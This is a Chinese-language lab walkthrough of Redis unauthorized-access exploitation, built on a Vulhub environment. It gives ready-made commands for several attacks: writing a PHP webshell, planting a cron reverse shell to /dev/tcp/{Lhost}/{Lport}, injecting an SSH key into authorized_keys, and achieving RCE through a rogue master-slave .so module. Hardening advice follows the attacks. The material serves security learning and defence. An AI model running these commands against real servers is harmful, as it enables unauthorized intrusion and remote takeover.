未授权访问漏洞¶
漏洞描述¶
Redis 默认情况下,会绑定在 0.0.0.0: 6379(在 redis3.2 之后,redis 增加了 protected-mode,在这个模式下,非绑定 IP 或者没有配置密码访问时都会报错)
- 如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等等,这样将会将 Redis 服务暴露在公网上
- 如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者还可以成功将自己的 ssh 公钥写入目标服务器的/root/.ssh 文件的 authotrized_keys 文件中,进而可以使用对应私钥直接使用 ssh 服务器登录目标服务器。
影响版本¶
- 准确来说,未授权访问是由于配置不当,与版本无关
环境配置¶
- Vulhub 项目
- Docker-compose 启动

漏洞复现¶
漏洞存在验证¶


Success
漏洞存在,且为无密码

Success
安装 redis 连接工具成功

Note
此处也可设置别名

Success
成功无密码连接
写入 webshell¶
Important
利用条件:
- 开启了 web 服务器,并且知道 web 目录的绝对路径
- 用户对该目录有读写权限
这里由于靶机没有开放 web 服务,故用/tmp 目录演示
Bash
config set dir /tmp
config set dbfilename test.php
set webshell "\r\n\r\n <?php phpinfo();?> \r\n\r\n"
save
Tip
这里一句话木马前后跟了很多换行符的原因是 redis 执行 save 会附带版本号等信息,所以需要换行来隔开,否则 webshell 可能不能执行
写入计划任务¶
Important
前提条件:
- 知道目标系统
- centos
- 计划任务:/etc/crontab
- ubuntu
- 计划任务:/var/spool/cron/crontabs/{username}
- 用户名已知
Bash
config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx "\n\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/{Lhost}/{Lport} 0>&1\n\n\n"
save
写入公私钥¶
Important
- 用户名已知
- ssh key 存放路径已知(默认为{username}/.ssh)
Bash
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
cat 1.txt | redis-cli -h {Rhost} -p {Rport} -x set crack
Success
之后攻击机 ssh 连接即可
主从模式 RCE¶
Important
redis 版本 <= 5.0.5
Redis 提供了主从模式,主从模式指使用一个 redis 作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在 Reids 4.x 之后,通过外部拓展,可以实现在 redis 中实现一个新的 Redis 命令,构造恶意.so 文件。
在两个 Redis 实例设置主从模式的时候,Redis 的主机实例可以通过 FULLRESYNC 同步文件到从机上。然后在从机上加载恶意 so 文件,即可执行命令。
Bash
git clone git@github.com:vulhub/redis-rogue-getshell.git
python3 redis-master.py -L 192.168.40.160 -P 4444 -r 192.168.40.129 -p 6379 -f RedisModulesSDK/exp/exp.so -c "id"

漏洞原理¶
- 没有配置特定 IP 访问限制
- 没有配置强密码
- 默认端口没有改
修复建议¶
- 以普通账号启动 redis 服务
- 监听本地或特定主机
- 开启 protected-mode
- 更改默认 6379 端口
- 为 redis 设置强密码